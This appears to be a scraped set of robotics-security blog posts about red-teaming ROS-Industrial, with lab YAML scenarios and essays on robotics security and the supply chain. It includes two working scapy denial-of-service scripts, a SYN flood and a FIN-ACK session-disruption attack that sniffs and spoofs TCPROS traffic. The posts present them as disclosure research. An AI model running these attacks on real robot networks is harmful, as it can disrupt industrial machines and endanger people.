    - subnet: 13.0.0.0/24

  # Level 3: DMZ 2 sub-network
  # NOTE: used to interface Process Network with machines in DMZ 2
  #  (e.g. a historian, additional servers and related)
  - network:
    - name: dmz2
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 14.0.0.0/24

  # Level 4: IT Network
  - network:
    - name: it-network
    - driver: overlay
    - encryption: false
    - internal: true
    - subnet: 15.0.0.0/24

  # Level 3: DMZ 1 sub-network
  # NOTE: used used to interface IT Network with central control station
  - network:
    - name: dmz1
    - driver: overlay
    - encryption: false
    - internal: true
    - subnet: 16.0.0.0/24

  # Beyond lvl4: Cloud
  - network:
    - name: cloud-network
    - driver: overlay
    - encryption: false
    - internal: false
    - subnet: 17.0.0.0/24

#################################
# Firewalls and network elements
#################################
firewalls:
     - container:
       - name: firewall-it-dmz1
       - ingress: it-network
       - egress: dmz1
       - rules:
         - iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
         - iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
         - iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
         - iptables -t nat -A POSTROUTING -o eth2 -j MASQUERADE
         - iptables -A FORWARD -i eth2 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth2 -j ACCEPT
         - route add 13.0.0.20 gw 16.0.0.254 eth2
     - container:
       - name: firewall-process-dmz2
       - ingress: process-network
       - egress: dmz2
       - rules:
         - iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
         - iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
         - iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT

############
# Containers
############
containers:

  #
  # Controllers
  #
  # C1
  - container:
    - name: "c1"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         # - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.12.1
         # - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:3.12.1-controller
         - network:
           - control-network_c1_s1
           # - field-network_r1_c1
    - ip: 12.0.0.20  # assign manually an ip address
    - cpus: 4
    - memory: 2048
    - mount: Controller:/root/.urcaps/

  # C^2
  - container:
    - name: "c2"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         # - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:3.12.1-controller
         - network:
           - control-network_c2_s2
           # - field-network_r2_c2
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install
    - extra-options: SYS_PTRACE
  # C3
  - container:
    - name: "c3"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - process-network
           # - field-network_r3_c3
    - ip: 13.0.0.30  # manually assign an ip address
    - cpus: 4
    - memory: 2048
    - extra-options: SYS_PTRACE
  # C4
  - container:
    - name: "c4"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - control-network_c4_s4
           # - field-network_r4_c4
    - cpus: 4
    - memory: 2048
  # C^5
  - container:
    - name: "c5"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - control-network_c5_s5
           # - field-network_r5_c5
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install
    - extra-options: SYS_PTRACE
  # C^6
  - container:
    - name: "c6"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - process-network
           # - field-network_r6_c6
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install    
    - extra-options: SYS_PTRACE

  #
  # Control stations
  #
  # S1
  - container:
    - name: "s1"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c1_s1
           - process-network

    - ip:
      - 12.0.0.50  # ip for control-network_c1_s1
      - 13.0.0.5  # ip in process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S^2
  - container:
    - name: "s2"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario-hardened
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c2_s2
           - process-network
    - ip:
        - 12.0.2.50  # ip for control-network_c2_s2
        # - 13.0.0.6  # ip for process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S^4
  - container:
    - name: "s4"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario-hardened
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c4_s4
           - process-network
    - ip: 12.0.4.50  # ip for control-network_c4_s4
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S5
  - container:
    - name: "s5"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c5_s5
           - process-network
    - ip: 12.0.5.50  # ip for control-network_c5_s5
    - cpus: 4
    - memory: 4096
    
  # S7
  - container:
    - name: "s7"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - dmz1
           - process-network
    - ip:
      - 16.0.0.20  # ip in dmz1
      - 13.0.0.20  # ip in process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN

  #
  # Development stations
  #
  # D1
  - container:
    - name: "d1"
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - it-network
           - dmz1
           - cloud-network
           # - process-network  # bypass firewall restrictions by connecting directly
    - ip:
      - 15.0.0.30  # ip in IT
      - 16.0.0.30  # ip in dmz1
      - 17.0.0.30  # ip in cloud
      # - 13.0.0.9
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN

  #
  # Attackers
  #
  - container:
    - name: attacker_cloud
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/alurity:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_nmap:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_binwalk:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_icssploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_rospento:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_rosploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_metasploit:latest
         - network:
           # - it-network
           - cloud-network
    - extra-options: ALL

  - container:
    - name: attacker_dmz1
    - modules:
         # - base: registry.gitlab.com/aliasrobotics/offensive/alurity/alurity:latest
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_nmap:latest
         - network:
           - dmz1
           - process-network
    - extra-options: ALL

  #
  # extra elements
  #

  # connector of
  #  - it-network
  #  - dmz2
  #  - dmz1
  - container:
    - name: firewall-it-dmz1
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:firewall-three-net
      - network:
        - it-network
        - dmz2
        - dmz1
    - extra-options: NET_ADMIN
    - ip:
      - 15.0.0.254
      - 14.0.0.254
      - 16.0.0.254
  # DMZ machine
  - container:
    - name: dmz-server
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:dmz
      - network: dmz2
    - extra-options: NET_ADMIN
    - ip: 14.0.0.20
  # Connector of process-network and dmz2
  - container:
    - name: firewall-process-dmz2
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:firewall-two
      - network:
        - dmz2
        - process-network
    - extra-options: NET_ADMIN
    - ip:
      - 14.0.0.253
      - 13.0.0.254    
    

In an attempt to bring awareness, transparency and fight against the current trend of security-by-obscurity, as a partially funded EU-work, most of our tools have been open sourced at https://github.com/aliasrobotics. Results have also been cataloged at the Robot Vulnerability Database. We encourage roboticists and security researchers to dive into the material generated and help triage remaining flaws.

For more, refer to the Red teaming ROS-Industrial extended report (white paper) (56 pages).

Red Teaming - ROS-Industrial

A red teaming report using the ROS-Industrial platform

ROS-Industrial

Robot red teaming services

Robot red teaming provides an accurate measure of a given robotic technology’s preparedness for remaining resilient against cyber-attacks.

ROS is rapidly spreading and its use growing beyond academy. ROS-Industrial
project (ROS-I for short) is the best example. It is an open-source initiative that extends the advanced capabilities of ROS software to industrial relevant hardware and applications. Spearheaded by the ROS-Industrial consortium, its deployment in industry is nowadays a reality. The consortium has more than 80 members and its gatherings in Europe, USA and Asia bring together hundreds of robotics experts every year. With the growing use in industry, security must become a first concern but unfortunately we're seeing a slower-than-desired security awareness and more importantly, the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations^[1]. This is incorrect.

the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations^[1:1].

ROS-Industrial software builds on top of ROS packages which also build on top of traditional networking protocols of OSI layers 3 and 4. It's not uncommon to find ROS deployments using IP/TCP in the Network and Transport levels of the communication stack. It must be noted that contrary to what some believe, a ROS system is not just vulnerable to attack vectors that target the ROS computational graph or the ROS-Industrial packages ^[2]. All its underlying abstractions need to be equally considered. As pointed out, ROS setups could suffer from threats coming from OSI layers 3 and 4, as it's common in the IT world (refer to this article for reading more about IT). Moreover, besides establishing perimeters with the cloud, one should consider threats that come from the inside, including the controllers or the control stations, both common elements on industrial scenarios and which could be used as entry points for targeting robots.

For the purpose of further testing the limits of these underlying layers and its impact in ROS, this article aims to illustrate the consequences that some simple attacks targeting these underlying network protocols could have. The first one performs a SYN-ACK DoS flooding attack. The second uses a FIN-ACK attack which aims to disrupt network activity by saturating bandwidth and resources on stateful interactions (i.e. TCPROS sockets).

The attacks proposed below leverage the lack of authentication in the ROS computational graph previously reported in other vulnerabilities of ROS including RVD#87 or RVD#88. Protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem.

Preparing the attacks

In order to prepare these attacks and experiment with lower-level abstractions in the networking stack, I contributed to alurity's robosploit module with a ROSTCP package dissector (and crafter) which is then used as a tool for developing these proof-of-concept attacks against ROS and ROS-Industrial deployments. In addition, it was required to configure the attacker's kernel to ignore certain types of network requests, so that it doesn't conflict with the attacking activity. The scenario uses targets running ROS Melodic Morenia in Ubuntu 18.04 and can be reproduced using the following alurity YAML file:

############
# Networks
############
networks:

  - network:
    - name: rosnet
    - driver: overlay
    # - internal: false
    - encryption: false
    - subnet: 12.0.0.0/24

############
# Containers
############
containers:
  - container:
    - name: rosmachine
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - network:
           - rosnet
    - ip:
      - 12.0.0.2  # fixed ip for prototyping
    # - sysctls:
    #   - net.core.somaxconn=128
    #   - net.ipv4.tcp_syncookies=0
    #   - net.ipv4.tcp_max_syn_backlog=128
    #   - net.ipv4.tcp_abort_on_overflow=1
    #   - net.ipv4.tcp_synack_retries=5


  - container:
    - name: attacker
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
         - network:
           - rosnet
    - extra-options: NET_ADMIN


####################
# Flow
####################
flow:
  # rosmachine
  - container:
    - name: rosmachine
    - window:
      - name: ros
      - commands:
        - command: "source /opt/ros/melodic/setup.bash"
        # - command: "roslaunch roscpp_tutorials talker_listener.launch"
        - command: "roscore"
        - split: horizontal
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "sleep 10"
        - command: "rostopic echo /chatter"
        - split: horizontal
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "sleep 10"
        - command: "rostopic hz /chatter"


  # attacker
  - container:
    - name: attacker
    - window:
      - name: setup
      - commands:
        - command: "wireshark -i eth0 . &"
        - split: horizontal
        - command: "apt-get update && apt-get install -y tcpdump iptables"
    - window:
      - name: attack
      - commands:
        # - command: "sleep 10"  # wait until roscore is ready
        # - command: "source /opt/ros/melodic/setup.bash"
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        # - command: "rostopic echo /chatter"
        # - split: horizontal
        # - command: "source /opt/ros/melodic/setup.bash"
        # - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        # # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        # - command: "cd /home/alias"
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        - command: "cd /home/alias"
        - command: "sleep 10"  # wait until roscore is ready
        # - command: 'rostopic pub /chatter std_msgs/String "Attacker publishing" -r 1'
        - command: "/opt/ros/melodic/lib/roscpp_tutorials/talker"
        - split: horizontal
        - command: "sleep 10"  # wait until tools have been installed and roscore
        - command: "source /opt/ros/melodic/setup.bash"
        - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        - command: "cd /home/alias"
        - command: "iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags RST RST -j DROP"
        - command: "iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags FIN FIN -j DROP"
        # - command: "iptables -I INPUT -s 12.0.0.2 -p tcp --tcp-flags RST RST -j DROP"
        # - command: "python3 syn_flood_dos.py"
        - command: 'python3 fin_ack_dos.py'
    - select: attack

SYN-ACK DoS flooding attack for ROS

A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:

• the client sends a TCP SYN (S flag) packet to begin a connection with a given end-point (e.g. a server).
• the server responds with a SYN-ACK packet, particularly with a TCP SYN-ACK (SA flag) packet.
• the client responds back with an ACK (flag) packet. In normal operation, the client should send an ACK packet followed by the data to be transferred, or a RST reply to reset the connection. On the target server, the connection is kept open, in a SYN_RECV state, as the ACK packet may have been lost due to network problems.
• In the attack, to abuse this handshake process, an attacker can send a SYN Flood, a flood of SYN packets, and do nothing when the server responds with a SYN-ACK packet. The server politely waits for the other end to respond with an ACK packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.

A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:

"""
SYN-ACK DoS attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
"""

import sys
from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from operator import itemgetter 

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

print("Capturing network traffic...")
packages = sniff(iface="eth0", filter="tcp", count=20)
targets = {}
for p in packages[TCPROSBody]:
    # Filter by ip
    # if p[IP].src == "12.0.0.2":
    port = p.sport
    ip = p[IP].src
    if ip in targets.keys():
        targets[ip].append(port)
    else:
        targets[ip] = [port]

# Get unique values:
for t in targets.keys():
    targets[t] = list(set(targets[t]))

# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]

# Small fix to meet scapy syntax on "dport" key
#  if single value, can't go as a list
if len(dport_target) < 2:
    dport_target = dport_target[0]

p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"Alias Robotics SYN Flood DoS"
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)

In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine's networking stack isn't properly configured. To defend against this attack, a user would need to set up their kernel's network stack appropriately. In particular, they'd need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.

FIN-ACK flood attack targeting ROS

The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).

After testing a variety of attacks against the ROS-Industrial network including ACK and PUSH ACK flooding, ACK Fragmentation flooding or Spoofed Session flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the FIN-ACK attack. Roughly, soon after a successful three or four-way TCP-SYN session is established, the FIN-ACK attack sends a FIN packet to close the TCP-SYN session between a host and a client machine. Given a TCP-SYN session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the FIN-ACK flood attack sends a large number of spoofed FIN packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient's resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.

The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.

"""
FIN-ACK attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
"""

from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from robosploit.core.exploit import *
from robosploit.core.http.http_client import HTTPClient
from scapy.layers.inet import TCP
from scapy.layers.l2 import Ether
import sys

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

def tcpros_fin_ack():
    """
    crafting a FIN ACK interrupting publisher's comms
    """
    flag_valid = True
    targetp = None
    targetp_ack = None
    # fetch 10 tcp packages
    while flag_valid:
        packages = sniff(iface="eth0", filter="tcp", count=4)
        if len(packages[TCPROSBody]) < 1:
            continue
        else:
            # find first TCPROSBody and pick a target
            targetp = packages[TCPROSBody][-1]  # pick latest instance
            index = packages.index(packages[TCPROSBody][-1])
            for i in range(index + 1, len(packages)):
                targetp_ack = packages[i]
                # check if the ack matches appropriately
                if targetp[IP].src == targetp_ack[IP].dst and \
                        targetp[IP].dst == targetp_ack[IP].src and \
                        targetp[TCP].sport == targetp_ack[TCP].dport and \
                        targetp[TCP].dport == targetp_ack[TCP].sport and \
                        targetp[TCP].ack == targetp_ack[TCP].seq:
                    flag_valid = False
                    break

    if not flag_valid and targetp_ack and targetp:
        # Option 2
        p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
            /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
            ack=targetp_ack[TCP].seq)

        ans = sr1(p_attack, retry=0, timeout=1)

        if ans and len(ans) > 0 and ans[TCP].flags == "FA":
            p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
                ack=ans[TCP].seq + 1)
            send(p_ack)

while True:
    tcpros_fin_ack()

The following figure shows the result of the FIN-ACK attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target under attack shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.

Through these experiments it was shown how control stations running Ubuntu 18.04 do not protect by default ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical ^[1:2] for securing ROS are of little use against targeted attacks, as demonstrated.

control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical ^[1:3] for securing ROS are of little use against targeted attacks, as demonstrated.

Certain ongoing hardening efforts for ROS Melodic ^[3] show a more promising approach to mitigate some issues but as indicated above, protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem which won't be solved by solely passive hardening. My team at Alias Robotics has started testing a preliminary partial solution for protecting ROS Melodic with some clients which mixes hardening with a proactive defense approach, one that involves offensive actions. If you're interested to learn more or try it yourself, head to https://aliasrobotics.com/ris.php and reach out.

A total of 23 robot cybersecurity vulnerabilities (most shipping with new CVE IDs) were reported from May to June 2020 according to the Robot Vulnerability Database (RVD). Vulnerabilities reported affect different manufacturers however a special mention should be made for Mobile Industrial Robots who has been reported to ship insecure products with more than 10 cyber security vulnerabilities, several of them of high criticality and affecting several downstream robots. Most affected manufacturers by the reports include:

• Mobile Industrial Robots
• UVD Robots (manufacturer and vendor of robots for autonomous disinfection during COVID-19)
• EnabledRobotics
• EasyRobotics
• Robotplus

For previous entries, refer to the following list:

• April 2020
• May and June 2020 (this one)

Vulnerabilities

Security is often defined as the state of being free from danger or threat. But what does this mean in practice? What does it imply to be free from danger? Is it the same in enterprise and industrial systems? Well, short answer: no, it's not. Several reasons but one important is that the underlying technological architectures for each one of these environments, though shares technical bits, are significantly different which leads to a different interpretation of what security (again, being free from danger and threats) requires.

This short essay analyzes some of the cyber security aspects that apply in different domains including IT, OT, IoT or robotics and compares them together. Particularly, the article focuses on clarifying how robotics differs from other technology areas and how a lack of clarity is leading to leave the user heavily unprotected against cyber attacks. Ultimately, this piece argues on why cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.

Introducing some common terms

Over the years, additional wording has developed to specify security for different contexts. Generically, and from my readings, we commonly refer to cyber security (or cybersecurity, shortened as just "security") as the state of a given system of being free from cyber dangers or cyber threats, those digital. As pointed out, we often mix "security" associated with terms that further specify the domain of application, e.g. we often hear things such as IT security or OT security.

During the past two years, while reading, learning, attending to security conferences and participating on them, I've seen how both security practitioners and manufacturers caring about security do not clearly differentiate between IT, OT, IoT or robotics. Moreover, it's often a topic for arguments the comparison between IT and IT security. The following definitions aim to shed some light into this common topic:

• Information Technology (IT): the use of computers to store, retrieve, transmit, and manipulate data or information throughout and between organizations^[1].
• Operational Technology (OT): the technology that manages industrial operations by monitoring and controlling specific devices and processes within industrial workflows and operations, as opposed to administrative (IT) operations. This term is very closely related to:
• Industrial Control System (ICS): is a major segment within the OT sector that comprises those systems that are used to monitor and control the industrial processes. ICS is a general term that encompasses several types of control systems (e.g. SCADA, DCS) in industry and can be understood as a subset of OT.
• Internet of the Things (IoT): an extension of the Internet and other network connections to different sensors and devices — or "things" — affording even simple objects, such as lightbulbs, locks, and vents, a higher degree of computing and analytical capabilities. The IoT can be understood as an extension of the Internet and other network connections to different sensors and devices.
• Industrial Internet of the Things (IIoT): refers to the extension and use of the Internet of Things (IoT) in industrial sectors and applications.
• robotics: A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to act on it and computation to process it all and respond coherently to its application (could be industrial, professional, etc.). Robotics is the art of system integration. An art that aims to build machines that operate autonomously.

Robotics is the art of system integration. Robots are systems of systems, devices that operate autonomously.

It's important to highlight that all the previous definitions refer to technologies. Some are domain specific (e.g. OT) while others are agnostic to the domain (e.g. robotics) but each one of them are means that serve the user for and end.

Comparing the security across these technologies

Again, IT, OT, ICS, IoT, IIoT and robotics are all technologies. As such, each one of these is subject to operate securely, that is, free from danger or threats. For each one of these technologies, though might differ from each other, one may wonder, how do I apply security?

Let's look at what literature says about the security comparison of some of these:

From ^[2]:
Initially, ICS had little resemblance to IT systems in that ICS were isolated systems running proprietary control protocols using specialized hardware and software. Widely available, low-cost Ethernet and Internet Protocol (IP) devices are now replacing the older proprietary technologies, which increases the possibility of cybersecurity vulnerabilities and incidents. As ICS are adopting IT solutions to promote corporate connectivity and remote access capabilities, and are being designed and implemented using industry standard computers, operating systems (OS) and network protocols, they are starting to resemble IT systems. This integration supports new IT capabilities, but it provides significantly less isolation for ICS from the outside world than predecessor systems, creating a greater need to secure these systems. While security solutions have been designed to deal with these security issues in typical IT systems, special precautions must be taken when introducing these same solutions to ICS environments. In some cases, new security solutions are needed that are tailored to the ICS environment.

While Stouffer et al. ^[2:1] focus on comparing ICS and IT, a similar rationale can easily apply to OT (as a superset of ICS).

To some, the phenomenon referred to as IoT is in large part about the physical merging of many traditional OT and IT components. There are many comparisons in literature (e.g. ^[3] an interesting one that also touches into cloud systems, which I won't get into now) but most seem to agree that while I-o-T aims to merge both IT and OT, the security of IoT technologies requires a different skill set. In other words, the security of IoT should be treated independently to the one of IT or OT. Let's look at some representations:

What about robotics then? How does the security in robotics compare to the one in IoT or IT? Arguably, robotic systems are significantly more complex than the corresponding ones in IT, OT or even IoT setups. Shouldn't security be treated differently then as well? I definitely believe so and while much can be learned from other technologies, robotics deserves its own security treatment. Specially because I strongly believe that:

cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.

Of course, I'm a roboticist so expect a decent amount of bias on this claim. Let me however further argue on this. The following table is inspired by processing and extending ^[2:2] and ^[4] for robotics while including other works such as ^[3:1], among others:

Looking at this table and comparing the different technologies, it seems reasonable to admit that robotics receives some of the heaviest restrictions when it comes to the different security properties, certainly, much more than IoT or IT.

Still, why do robotic manufacturers focus solely on IT security?

A misunderstanding that users are paying heavily in robotics

As pointed out, it's not few that misunderstand IT security with robotics security. One of the best examples I've recently seen is how Mobie Industrial Robots (MiR) engineering team (lead members!) care only about IT security, though I've repeatedly indicated them that this is a mistake and they should have a wider perspective of what security aspects they should consider when dealing with robotics technology:

Since they indicated IT security, one would expect them to care also for OT (since these robots operate on many industrial scenarios), however there's none. There are no sections for OT security and much less, a proper threat modeling that fits security to this particular robotic technology. None.

Knowing that sources like ^[6] already mix up IT security with cyber security, overall, I've spent decent amount of time (and meetings) to explain the difference, highlight the importance of caring about security holistically and convincing some managers and decision makers in robotics about this (including MiR!).

MiR presents one of the several examples out there of how a lack of concern, care and understanding of security for robotics is making end users exposed to hazards. Similar to MiR, other companies including Universal Robots (UR) or Teradyne (matrix of both MiR and UR) don't seem to really care about security and for now, continue profiting their insecure supply chain.

Safety hazards in robotics don't just impact privacy (as in IT), a compromised robot can damage humans and the environment. End users should demand a minimum of security from robot manufacturers. Action must be taken now by manufacturers and they should pro-actively invest in securing their systems.

Insecurities in robotics are not just in the robots themselves, they are also in the whole supply chain. The tremendous growth and popularity of collaborative robots have over the past years introduced flaws in the –already complicated– supply chain, difficulting serving safe and secure robotics solutions.

This article builds upon a previous essay ^[1] and presents a series of thoughts and questions (most left unanswered and for future research). The aim is to question whether the current supply chain favors overall the end-user's security and safety.

The robotics supply chain

The robotics supply chain is generally organized as follows:

Traditionally, Manufacturer, Distributor and System Integrator stakeholders were all into one single entity that served End users directly. This is the case of some of the biggest and oldest robot manufacturers including ABB or KUKA, among others.

Most recently, and specially with the advent of collaborative robots ^[2] and their insecurities ^[3], each one of these stakeholders acts independently, often with a blurred line between Distributor and Integrator. This brings additional complexity when it comes to responding to End User demands, or solving legal conflicts.

Companies like Universal Robots (UR) or Mobile Industrial Robots (MiR) represent best this fragmentation of the supply chain. When analyzed from a cybersecurity angle, one wonders: which of these approaches is more responsive and responsible when applying security mitigations? Does fragmentation difficult responsive reaction against cyber-threats? Are Manufacturers like Universal Robots pushing the responsibility and liabilities to their Distributors and the subsequent Integrators by fragmenting the supply chain? What are the exact legal implications of such fragmentation?

Stakeholders of the robotics supply chain

Some of the stakeholders of both the new and the old robotics supply chains are captured and defined in the figure below:

Not much to add. The diagram above is far from complete. There're indeed more players but these few allow one to already reason about the present issues that exist in the robotics supply chain.

The 'new' supply chain in robotics

It really isn't new. The supply chain (and GTM straregy) presented by vendors like UR or MiR (both owned by Teradyne) was actually inspired by many others, across industries, yet, it's certainly been growing in popularity over the last years in robotics. In fact, one could argue that the popularity of collaborative robots is related to this change in the supply chain, where many stakeholders contributed to the spread of these new technologies.

This supply chain is depicted below, where a series of security-related interactions are captured:

